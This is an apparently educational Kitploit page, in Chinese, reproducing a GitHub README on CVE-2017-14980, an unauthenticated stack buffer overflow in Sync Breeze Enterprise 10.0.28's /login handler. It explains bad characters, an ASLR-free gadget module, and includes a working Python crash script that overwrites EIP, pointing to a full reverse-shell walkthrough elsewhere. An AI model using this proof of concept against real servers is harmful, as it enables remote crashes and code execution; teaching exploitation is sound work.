Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-14980 — Sync Breeze Enterprise 10.0.28 中通过 `/login` 处理器可触发的基于栈的缓冲区溢出,演示了未检查的输入长度如何破坏栈内存。 | Kitploit
工具/GitHubGitHub/themalwareguardian/cve-2017-14980
漏洞分析漏洞利用逆向工程ShellcodeWeb应用程序漏洞利用调试器模糊测试学习与教育Payload 开发二进制利用
GitHubthemalwareguardian/cve-2017-14980

CVE-2017-14980

135个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

Sync Breeze Enterprise 10.0.28 中通过 `/login` 处理器可触发的基于栈的缓冲区溢出,演示了未检查的输入长度如何破坏栈内存。

查看仓库
分享

🐞 CVE-2017-14980: Sync Breeze Enterprise 10.0.28 - 基于栈的缓冲区溢出

Sync Breeze Enterprise 10.0.28 中通过 /login 处理程序触发的基于栈的缓冲区溢出,展示了未检查的输入长度如何破坏栈内存。




📑 目录

  • 为什么会有这个仓库
  • 为什么这个漏洞有意思
  • 背景与受影响软件
  • 关于漏洞
  • 触发崩溃
  • 利用过程



🎓 为什么会有这个仓库

这个仓库是我在教授内存损坏利用时使用的材料的一部分(除了日常工作,我还在不同的网络安全课程中任教,帮助培养下一代逆向工程师)。

CVE-2017-14980 是我用来让学生体验通过 HTTP(而非原始 TCP 协议)进行经典 EIP 覆盖的案例。乍看很简单——一个登录表单、一个长密码、一次崩溃——但 HTTP 上下文引入了一组不那么明显的坏字符,迫使学生思考数据在被复制到易受攻击的缓冲区之前是如何被处理的。理解为什么 %、&、+ 和 = 在这里是坏字符,需要理解 URL 编码,这本身就是一个有用的教训。




💡 为什么这个漏洞有意思

Sync Breeze Enterprise 是一个 Windows 文件同步应用程序,它暴露了一个 Web 管理界面。漏洞存在于登录处理程序中,该程序将密码字段复制到一个固定大小的栈缓冲区中,而没有进行长度验证。这个案例在教学中的价值在于:

  • 无需身份验证。 溢出发生在登录处理过程中,在任何凭据检查之前。
  • 直接 EIP 覆盖。 没有 SEH、堆或多阶段利用。保存的返回地址直接被覆盖。
  • HTTP 上下文引入了非显而易见的坏字符。 除了常见的 \x00、\x0a 和 \x0d 之外,application/x-www-form-urlencoded 内容类型还增加了 \x25(%)、\x26(&)、\x2b(+)和 \x3d(=)作为坏字符,因为服务器在将数据复制到缓冲区之前会解码 URL 编码的请求体。跳过坏字符分析直接编写 shellcode 的学生会得到一个在到达内存之前就被静默损坏的有效载荷。
  • 应用程序附带的模块中存在一个可靠的 gadget。 libspp.dll 随 Sync Breeze 一起提供,编译时未启用 ASLR、SafeSEH 或 CFG,因此 gadget 地址在重启后保持不变。



🔍 背景与受影响软件

Sync Breeze Enterprise 是一个 Windows 文件同步工具,包含一个用于远程管理的内置 Web 服务器。Web 界面在启用时监听 TCP 80 端口,并在 /login 处暴露一个登录表单。漏洞存在于处理密码字段的 POST 处理程序中。

关键技术细节:

  • 漏洞类型:基于栈的缓冲区溢出
  • 受影响版本:Sync Breeze Enterprise 10.0.28
  • 受影响端点:POST /login,password 参数
  • 易受攻击的组件:登录表单处理程序
  • 是否需要身份验证:否
  • 影响:远程代码执行



⚠️ 关于漏洞

Sync Breeze 通过读取 POST 请求体并提取 password 字段来处理登录表单。该值被复制到一个固定大小的栈缓冲区中,而不检查其长度。简化后的漏洞逻辑如下所示:

root@kitploit:~
char password_buffer[256];

strcpy(password_buffer, password_field);

POST 请求体在复制之前会被 URL 解码,这意味着像 %25 这样的字符在到达缓冲区之前会被解码为 %。这也是为什么某些 URL 特殊字符会成为坏字符——它们在数据到达易受攻击的复制操作之前就被 HTTP 层解释。发送一个足够长的密码值会导致复制操作写入超出缓冲区末尾,覆盖保存的返回地址。当函数返回时,CPU 将从栈中加载攻击者控制的值到 EIP 并跳转执行。




💥 触发崩溃

可以通过向 /login 发送一个过长的密码 POST 请求来重现崩溃。无需身份验证。使用 Python 的示例:

root@kitploit:~
import socket

HOST = '127.0.0.1'
PORT = 80

payload = b"A" * 600

body = b"username=admin&password=" + payload
request = (
	b"POST /login HTTP/1.1\r\n"
	b"Host: 127.0.0.1\r\n"
	b"Content-Type: application/x-www-form-urlencoded\r\n"
	b"Content-Length: " + str(len(body)).encode() + b"\r\n"
	b"Connection: close\r\n"
	b"\r\n" +
	body
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()

在调试器下执行时,崩溃显示 EIP 被用户控制的数据覆盖:

root@kitploit:~
EIP = 41414141

确认保存的返回地址已被溢出破坏。




💣 利用过程

这个仓库的目的不仅仅是演示崩溃,而是逐步引导你完成完整的利用过程,从模糊测试到实现一个可工作的反向 shell。

为了保持主 README 的整洁,详细的利用说明、脚本和调试器步骤都放在本仓库的 Vulnerability 📂 文件夹中。

在那里你可以找到用于利用此 CVE 的完整工作流程,包括:

  • 对 password 字段进行模糊测试以识别崩溃。
  • 偏移量发现以定位 EIP 在栈上的确切位置。
  • 针对 URL 编码 POST 请求体的坏字符分析,包括 HTTP 特有的坏字符。
  • 在 libspp.dll 中定位 JMP ESP gadget,该模块编译时未启用 ASLR 或 SafeSEH。
  • Shellcode 的放置与执行。
下载工具